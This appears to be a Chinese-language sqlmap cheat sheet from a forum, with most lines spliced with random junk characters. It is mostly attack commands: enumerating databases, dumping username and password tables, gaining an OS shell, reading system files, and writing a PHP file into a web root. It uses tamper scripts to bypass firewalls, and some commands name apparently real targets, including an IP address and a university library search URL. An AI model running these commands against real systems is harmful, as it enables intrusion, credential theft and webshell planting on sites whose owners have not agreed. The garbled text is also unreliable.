/pentest/database/sqlmap
9 G7 m" O# p6 }, p6 g; s5 } c! |* _8 l0 ?6 v3 }- X
update :::::> in the folder after execute following order : svn update
; z- r' I* ^/ ^# {. B# |$ }( n X. b5 R: s$ y& V, o/ j0 j
sqlmap.py -r 1.txt --current-db
4 r% V9 w' o' `2 h' I, d. `, q( O& D7 @& _9 N* A
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
5 ~% |2 _4 A; m# q; N3 i3 W' Z7 U5 L0 |0 f! m% Q' H
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) ( m. P3 \; z8 e# M+ d; H
猜解数据库
( \* B7 Y2 U; X./sqlmap.py -u "injection-url" --dbs8 U" M$ ^4 _8 h8 N2 b
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"! k/ r$ h1 u" H- r
0 ]' C* o/ z3 j; Z猜解表名/ O! V0 e6 F5 d
./sqlmap.py -u "injection-url" -D database_name --tables
1 | `, D! O! A9 m G9 t# E6 M& Z* h# O
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"/ c, k' l/ o; ?' V6 Y
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
! A2 l9 l2 e) ]. x0 n1 o
8 m# }( q7 b2 G; k4 Ksqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
2 R' Y! f1 |2 P: ^9 \3 W% N$ i, T1 m/ L6 r5 S' N9 z' J& N, Z8 ?" J
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py". p* C' m5 K: U8 p. h
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
& {& Q/ J& n0 P1 @ m* bsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
# U. p9 J! q; }- \+ m6 xsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
# g) u1 L' S* {7 b: m( j5 g1 K& o6 |( n8 m8 V
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
8 [+ D1 O, b- A+ l/ y6 usqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
' c! w1 l( c5 [) bsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"0 y( k5 d& k' `& U" d a$ P
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
+ O6 U) [0 i2 [* c3 c; xsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump9 m; t& I7 C& H5 r" `4 G8 |
A8 X1 O0 y }; g' l
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
2 b0 R+ x; A2 ]2 Usqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
$ d; l2 K: J$ N, d: E7 v+ ~. f) r; a, o1 M1 l, b( N" ?
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst". j4 G" \, _+ e; H. l
猜解列名
, R+ n2 v# U( K) d- f9 ~./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
2 u8 f2 ?9 K8 E6 _4 x7 J+ }9 B
" T3 d) A+ j: E) wsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
8 J9 {+ K( i2 ysqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 9 Z2 K: a0 I* m5 z, g" u
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"4 t& e3 G8 k+ M
+ n% ?- ~' C" N1 psqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"' j5 n6 o) h$ c. T& ?' ]" s* k
&submit=Go" Y+ ^. V1 b) x: ^ X* T* t3 v. J
猜解值# F1 Q, T) M" z& O: O$ l, X/ ^$ [
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump* z0 H0 @5 j3 O* ?9 x: t) T" n
========================================================
3 s T+ A! P; j5 u' u% [* d搜索表名中包括mana字符的
) x& S( m9 g* u2 [- g/ z" e/sqlmap.py -u "injection-url" -T mana --search
6 G% L/ v) m! @5 W; |6 f8 e返回一个交互式sql shell
, n3 D% g; }4 A6 {/ z* b) Y2 s6 f/sqlmap.py -u "injection-url" --sql-shell
5 g* h$ z1 h" v9 U: s4 m1 u* ^读取指定文件(需权限)' x o, B1 r& ~ ?/ i1 S4 U
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
) p( F; o" C) ~& J查看当前 用户 及 数据库 ( Q/ z# b( d! ~0 `7 D$ Y: x
/sqlmap.py -u "injection-url" --current-user --current-db
, S+ G' v7 G8 x; A, Z6 e本地文件 写入 远程目标绝对路径& I4 w# b0 a& M
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
2 M |1 l# K' c. Y9 Y( Hsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" % Q- G# t* c4 p& z
2 A0 S# e% J" p/ s: H2 A4 k
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
- y$ v; F9 p/ n# a) m1 z3 L查看某用的权限 I- u# G, X6 M( e5 r
/sqlmap.py -u "injection-url" --privileges -U root7 y) x- `. {; z# ]3 P
查看当前用户是否为dba
% ^4 S' g& O. d& Q$ \/sqlmap.py -u "injection-url" --is-dba7 o8 x a& H3 {' W# a. r4 K1 Z! |
读取所有数据库用户或指定数据库用户的密码
: p8 ^% J. R7 _/ A/ ~) ssqlmap.py -r 1.txt --users --passwords# y3 y+ }. o6 {" J: K
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
/ ~4 i/ X" u0 Q9 }7 K/ S2 ~8 t7 T0 E8 d! `
/sqlmap.py -u "injection-url" --passwords -U root
. [; f0 M; `" f8 ` u/ B7 ~& I; K* P' I+ w# I( y% k
--start&&--stop 与 --first&&--last 的区别
% j. [$ z3 |. ~; _/ E2 q/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
1 M) X( q, j! {" `- L; q/ ~2 D2 i
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
) {, Z% W2 \5 w, m3 V/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables7 s. O$ \& B7 R- N# H
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
4 g: P+ s, r; r! U- r. n' O" q: H4 R+ I
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……), W. `. x. ^5 p* p
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"- t0 i" C' N% [# y" A. I G. A
/ j8 U) I( `0 O0 Z1 \
|